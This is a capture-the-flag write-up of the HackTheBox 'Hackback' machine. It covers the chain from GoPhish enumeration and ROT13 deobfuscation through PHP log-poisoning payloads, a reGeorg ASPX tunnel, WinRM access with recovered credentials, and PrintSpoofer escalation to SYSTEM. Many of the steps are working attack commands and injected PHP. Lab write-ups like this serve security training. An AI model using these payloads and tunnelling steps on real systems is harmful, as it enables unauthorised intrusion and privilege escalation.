Hackback - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐⭐
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Hackback is an insane-difficulty Windows machine that demonstrates advanced enumeration, web application security, firewall evasion, and privilege escalation techniques. The attack path involves discovering a GoPhish phishing infrastructure with multiple virtual hosts, deobfuscating a ROT13-encoded JavaScript file to find hidden credentials, achieving RCE through log poisoning while bypassing PHP disabled_functions, tunneling through ASPX to access WinRM behind a firewall, and escalating privileges using SeImpersonatePrivilege. The box showcases realistic enterprise security configurations and requires creative problem-solving at each stage.

TL;DR: Port 64831 GoPhish → vhost enumeration → ROT13-decoded JS reveals admin panel path → password fuzzing → PHP log poisoning RCE with disabled_functions bypass → credentials in web.config.old → reGeorg ASPX SOCKS tunnel → WinRM as simple → SeImpersonatePrivilege + PrintSpoofer → SYSTEM

Reconnaissance

Port Scanning

# Initial scan reveals unusual ports
nmap -sC -sV -T4 -p- 10.129.228.106

Results:

• Port 80 (HTTP): Microsoft IIS web server
• Port 6666: Microsoft HTTPAPI HTTP/2.0 command API (unusual service allowing remote command execution as NETWORK SERVICE)
• Port 64831 (HTTPS): GoPhish phishing framework login panel

The port 6666 service is particularly interesting - testing with curl http://10.129.228.106:6666/ --http2 reveals a command API that responds to requests like /help, /whoami, /services, and /netstat. The /services endpoint discloses a custom service named UserLogger running as LocalSystem, which becomes relevant later.

Service Enumeration

Port 80 - IIS Web Server

Initial access to http://10.129.228.106 shows only a static image with no obvious functionality. Directory brute-forcing reveals nothing of immediate interest on the default vhost.

Port 64831 - GoPhish

Accessing https://10.129.228.106:64831 (accepting the self-signed certificate) presents a GoPhish administrative login panel. Testing default credentials admin:gophish grants access to the phishing campaign management interface.

Within GoPhish, several email templates are configured targeting users with phishing pages. The templates reveal multiple virtual hosts:

• www.hackthebox.htb - HTB login page clone
• admin.hackback.htb - Administrative interface
• Additional phishing sites for PayPal, Facebook, Twitter

Virtual Host Configuration:

# Add discovered vhosts to /etc/hosts
echo "10.129.228.106 hackback.htb www.hackthebox.htb admin.hackback.htb" >> /etc/hosts

Admin Virtual Host Enumeration

The admin.hackback.htb vhost shows a login page with non-functional credentials. Page source contains a comment hinting at JavaScript files in the /js/ directory.

# Enumerate JavaScript files on admin vhost
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -u http://admin.hackback.htb/js/ -x js -t 50

Discovery: private.js file found at http://admin.hackback.htb/js/private.js

Vulnerability Assessment

Identified vulnerabilities:

1. Information Disclosure: GoPhish default credentials expose phishing infrastructure and target vhosts
2. Weak Obfuscation: ROT13-encoded JavaScript containing sensitive paths and credentials
3. Command Injection: HTTP/2 API on port 6666 (though not directly exploited in final chain)
4. PHP Log Poisoning: User-controlled input logged without sanitization
5. Credential Exposure: Plaintext credentials in backup configuration files
6. Firewall Misconfiguration: Internal WinRM accessible via ASPX tunnel
7. Dangerous Privileges: Low-privilege user with SeImpersonatePrivilege

Initial Foothold

ROT13 Deobfuscation

The private.js file contains heavily obfuscated code. Initial inspection reveals terms like “ine” and “shapgvba” - clear indicators of ROT13 encoding (ROT13 of “var” and “function”).

# Decode ROT13
curl http://admin.hackback.htb/js/private.js | rot13 > decoded.js

Even after ROT13 decoding, the JavaScript remains obfuscated with character encoding (\k escape sequences) and minification. Using an online JavaScript beautifier and then executing the code in browser DevTools console reveals key variables:

// Execute in browser console to extract obfuscated values
console.log(x, z, h, y, t, s, i, k, w);

Decoded message:

Secure Login Bypass
Remember the secret path is <redacted>
Just in case I loose access to the admin panel
?action=(show,list,exec,init)
&site=(twitter,paypal,facebook,hackthebox)
&password=********
&session=
Nothing more to say

Key findings:

• Secret path: <redacted>
• Parameters: action, site, password (8 characters), session
• Possible actions: show, list, exec, init

Web Admin Discovery

# Fuzz for files in the secret directory
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -u http://admin.hackback.htb/<redacted>/ \
  -x php,aspx,asp -t 50

Discovery: webadmin.php found in the secret directory.

Direct access to http://admin.hackback.htb/<redacted>/webadmin.php results in a redirect (HTTP 302) to the login page.

Password Fuzzing

The obfuscated JavaScript indicated an 8-character password. Using a targeted wordlist:

# Extract 8-character passwords from rockyou
grep '^.\{8\}$' /usr/share/wordlists/rockyou.txt > 8char.txt

# Fuzz password parameter with ffuf
ffuf -w 8char.txt -u \
  'http://admin.hackback.htb/<redacted>/webadmin.php?action=list&site=hackthebox&password=FUZZ&session=' \
  -fw 3

Result: Password found: 12345678

Web Admin Functionality

Testing the discovered password with the list action:

# List available logs
curl 'http://admin.hackback.htb/<redacted>/webadmin.php?action=list&site=hackthebox&password=12345678&session='

Response shows two log files with SHA256 hash filenames. The show action requires a session parameter to display log contents.

Key insight: The session parameter is the SHA256 hash of the client IP address. This can be determined by observing the log filenames generated when accessing the phishing pages.

# Calculate session hash for local IP
echo -n "10.10.15.180" | sha256sum
# Result: f4a7b0...

PHP Log Poisoning to RCE

The phishing pages log credentials submitted via POST requests. These logs can be viewed through webadmin.php. By injecting PHP code into the username field of the phishing login form, we achieve remote code execution.

Test for code execution:

# Submit PHP code as username to phishing page
curl -X POST http://www.hackthebox.htb \
  -d "username=<?php echo 'pwned'; ?>&password=test&_token=&submit="

# View logs with calculated session hash
curl 'http://admin.hackback.htb/<redacted>/webadmin.php?action=show&site=hackthebox&password=12345678&session=f4a7b0c8d9e6a5b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b9'

Result: The string “pwned” appears in the log output, confirming PHP code execution.

Testing system() function:

# Attempt system command execution
curl -X POST http://www.hackthebox.htb \
  -d "username=<?php system('whoami'); ?>&password=test&_token=&submit="

The whoami output does not appear in logs - the system() function (and likely other command execution functions like exec(), shell_exec(), passthru()) are disabled via PHP’s disable_functions directive. This is a common security hardening measure.

Bypassing disable_functions

While command execution functions are blocked, file manipulation functions like file_get_contents(), file_put_contents(), and scandir() typically remain available. These can be used for enumeration and file operations.

# List directory contents
curl -X POST http://www.hackthebox.htb \
  -d "username=<?php print_r(scandir('C:/')); ?>&password=test&_token=&submit="

# Read file contents (base64-encoded for binary safety)
curl -X POST http://www.hackthebox.htb \
  -d "username=<?php echo base64_encode(file_get_contents('C:/inetpub/wwwroot/new_phish/admin/web.config.old')); ?>&password=test&_token=&submit="

Credential Discovery

Enumerating the web directories reveals a backup configuration file:

Path: C:\inetpub\wwwroot\new_phish\admin\web.config.old

<!-- Extracted from web.config.old -->
<authentication mode="Windows">
  <identity impersonate="true"
    userName="simple"
    password="ZonoProprioZomaro:-(" />
</authentication>

Credentials obtained: simple:ZonoProprioZomaro:-(

These credentials suggest a domain or local user with specific service account privileges.

ASPX Tunneling for Firewall Bypass

The HTTP/2 API on port 6666 revealed via netstat output that WinRM (port 5985) is listening on localhost but firewalled externally. To access internal services, we need to establish a tunnel through the IIS web server.

reGeorg SOCKS Proxy:

reGeorg is a tool that creates a SOCKS proxy through a web shell, allowing tools like proxychains to access internal network resources. Since IIS supports ASPX, we can upload tunnel.aspx.

# Download reGeorg tunnel script
wget https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.aspx

# Upload via file_put_contents through log poisoning
# First, base64 encode the ASPX file locally
base64 tunnel.aspx > tunnel.b64

# Inject PHP to write the file (simplified - actual implementation uses chunking for large files)
# Username field: <?php file_put_contents('C:/inetpub/wwwroot/new_phish/admin/<redacted>/tunnel.aspx', base64_decode('base64_content_here')); ?>

Once uploaded, verify the tunnel is accessible:

# Test tunnel endpoint
curl http://admin.hackback.htb/<redacted>/tunnel.aspx
# Should return: "Georg says, 'All seems fine'"

Start SOCKS proxy:

# Start reGeorg proxy on local port 1080
python reGeorgSocksProxy.py -p 1080 \
  -u http://admin.hackback.htb/<redacted>/tunnel.aspx

Configure proxychains:

# Edit /etc/proxychains4.conf
# Add to [ProxyList] section:
socks4 127.0.0.1 1080

Verify internal port access:

# Scan internal ports through SOCKS proxy
proxychains nmap -sT -Pn -n 10.129.228.106 -p 5985,135,445
# -sT: Full TCP connect (required through SOCKS)
# -Pn: Skip ping (often blocked through proxies)
# -n: No DNS resolution

Result confirms port 5985 (WinRM) is accessible through the tunnel.

WinRM Access

With valid credentials and tunneled access to WinRM, we can establish a remote PowerShell session:

# Connect via evil-winrm through proxychains
proxychains evil-winrm -i 10.129.228.106 -u simple -p 'ZonoProprioZomaro:-('

Shell obtained as: HACKBACK\simple

*Evil-WinRM* PS C:\Users\simple\Documents> whoami
hackback\simple

*Evil-WinRM* PS C:\Users\simple\Documents> whoami /groups
# Output shows simple is member of:
# - BUILTIN\Users
# - HACKBACK\project-managers
# - Mandatory Label\Medium Mandatory Level

*Evil-WinRM* PS C:\Users\simple\Documents> whoami /priv
# Notable privilege:
# SeImpersonatePrivilege    Impersonate a client after authentication    Enabled

Key observation: The simple user has SeImpersonatePrivilege enabled, which is unusual for a standard user account and indicates potential for privilege escalation.

Privilege Escalation

SeImpersonatePrivilege Exploitation

The SeImpersonatePrivilege allows a process to impersonate any token it can obtain a handle to. This is commonly exploited using tools like:

• JuicyPotato (Windows Server 2016 and earlier)
• RoguePotato (Windows Server 2019+)
• PrintSpoofer (Modern Windows, exploits Print Spooler service)

Given that Hackback is a 2019-era machine and the presence of SeImpersonatePrivilege on a low-privilege user, PrintSpoofer is the most appropriate tool.

PrintSpoofer Exploitation:

PrintSpoofer exploits the Print Spooler service to trigger an authentication callback to a named pipe controlled by the attacker. When the SYSTEM-level Print Spooler service authenticates to the pipe, the attacker can impersonate its token and execute commands as SYSTEM.

# Download PrintSpoofer64.exe on attacking machine
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

# Upload to target via evil-winrm
*Evil-WinRM* PS C:\Users\simple\Documents> upload /path/to/PrintSpoofer64.exe

Execute PrintSpoofer:

# Run PrintSpoofer to get SYSTEM shell
*Evil-WinRM* PS C:\Users\simple\Documents> .\PrintSpoofer64.exe -i -c cmd
# -i: Interact with the spawned process
# -c: Command to execute

# Alternative: Execute commands directly as SYSTEM
*Evil-WinRM* PS C:\Users\simple\Documents> .\PrintSpoofer64.exe -c "whoami"
# Output: nt authority\system

Access flags:

# User flag (accessible as simple)
*Evil-WinRM* PS C:\Users\hacker\Desktop> type user.txt
<redacted>

# Root flag - note the decoy!
# The visible root.txt is a decoy. The real flag is in an Alternate Data Stream (ADS)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
# This shows a fake flag

# Read the actual flag from ADS
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt:flag.txt
<redacted>

# Or discover ADS using streams
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir /r
# Shows root.txt:flag.txt stream

Alternative Path (Intended but Longer)

The official intended path involves:

1. Command Injection in clean.ini - The C:\util\scripts\clean.ini configuration file is used by a scheduled task. The LogFile parameter is vulnerable to command injection.
2. Lateral Movement to hacker - By injecting commands, gain code execution as the hacker user who runs the scheduled task.
3. UserLogger Service Abuse - The hacker user has permissions to modify a service that runs as SYSTEM (the UserLogger service discovered on port 6666).
4. Arbitrary File Write - Exploit the service to write arbitrary files to protected locations.
5. DiagHub DLL Hijacking - Write a malicious DLL to System32 and trigger it via the DiagHub service to achieve SYSTEM execution.

This path is significantly more complex and requires:

• Waiting for scheduled task execution (5-minute intervals)
• Understanding Windows service permissions (using accesschk.exe)
• Exploiting arbitrary write vulnerabilities
• DLL hijacking techniques

The PrintSpoofer approach is more efficient given the presence of SeImpersonatePrivilege and represents a common real-world privilege escalation path.

Attack Chain Summary

GoPhish (64831) Discovery
    ↓
Virtual Host Enumeration (admin.hackback.htb)
    ↓
ROT13 JavaScript Deobfuscation → Secret Path + Parameters
    ↓
Password Fuzzing → 12345678
    ↓
PHP Log Poisoning RCE (disabled_functions bypass via file functions)
    ↓
Credential Discovery (web.config.old) → simple:ZonoProprioZomaro:-(
    ↓
ASPX reGeorg Tunnel Upload → SOCKS Proxy
    ↓
WinRM Access (port 5985 via tunnel) as simple
    ↓
SeImpersonatePrivilege Exploitation (PrintSpoofer)
    ↓
SYSTEM Shell → Root Flag (ADS: root.txt:flag.txt)

Tools Used

Key Learnings

Techniques Practiced

• Multi-stage enumeration: Following breadcrumbs from GoPhish → vhosts → JavaScript → hidden endpoints
• Code deobfuscation: ROT13 decoding and JavaScript beautification to extract secrets
• Web application exploitation: PHP log poisoning with disabled_functions bypass using file manipulation functions
• Tunneling and pivoting: ASPX-based SOCKS proxy (reGeorg) to access firewalled internal services
• Windows privilege escalation: SeImpersonatePrivilege exploitation via PrintSpoofer
• NTFS forensics: Alternate Data Streams (ADS) for flag hiding/discovery

Lessons Learned

1. Always enumerate virtual hosts: Modern web applications often use multiple vhosts. Tools like GoPhish may reveal target domains, and DNS/vhost enumeration is critical. In this case, GoPhish templates directly disclosed phishing vhosts.

2. Obfuscation ≠ Security: ROT13 is trivial to decode, and even complex JavaScript obfuscation can be bypassed by executing code in a browser console to dump variable values. Never rely on client-side obfuscation for security.

3. disable_functions can often be bypassed: While PHP’s disable_functions blocks command execution, file manipulation functions (scandir, file_get_contents, file_put_contents) are rarely disabled and provide alternative paths to enumerate and exploit systems.

4. Tunneling is essential for internal network access: When critical services like WinRM are firewalled, web shells that support tunneling (reGeorg, Chisel, Ligolo) are invaluable. ASPX is particularly effective on Windows IIS servers.

5. SeImpersonatePrivilege is powerful: Any user with this privilege can escalate to SYSTEM on Windows via multiple techniques (JuicyPotato, RoguePotato, PrintSpoofer). Always check whoami /priv early in enumeration.

6. Look for Alternate Data Streams: On modern Windows CTF boxes, ADS is a common hiding place for flags or sensitive data. Use dir /r or PowerShell Get-Item -Stream * to discover hidden streams.

7. Proxychains configuration matters: When using SOCKS proxies, ensure proper timeouts in proxychains.conf, use socks4 for compatibility, and prefer -sT (full TCP connect) scans with nmap to avoid SYN scan issues through proxies.

8. Defense-in-depth defeats single-layer attacks: Hackback demonstrates realistic security: web application hardening (disable_functions), firewall rules (internal WinRM), and the intended path requires chaining multiple vulnerabilities. Real-world environments rarely have a single “magic bullet” exploit.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

Note: Flags on this 2019-era box are 32-character hexadecimal strings, not wrapped in HTB{REDACTED} format. The root flag is stored in an Alternate Data Stream (root.txt:flag.txt) with a decoy flag in the visible root.txt file.

References

This writeup was informed by the official HackTheBox writeup (Document No D19.100.27) prepared by MinatoTW, which provided valuable context for the intended exploitation path and technical explanations of Windows privilege escalation mechanisms.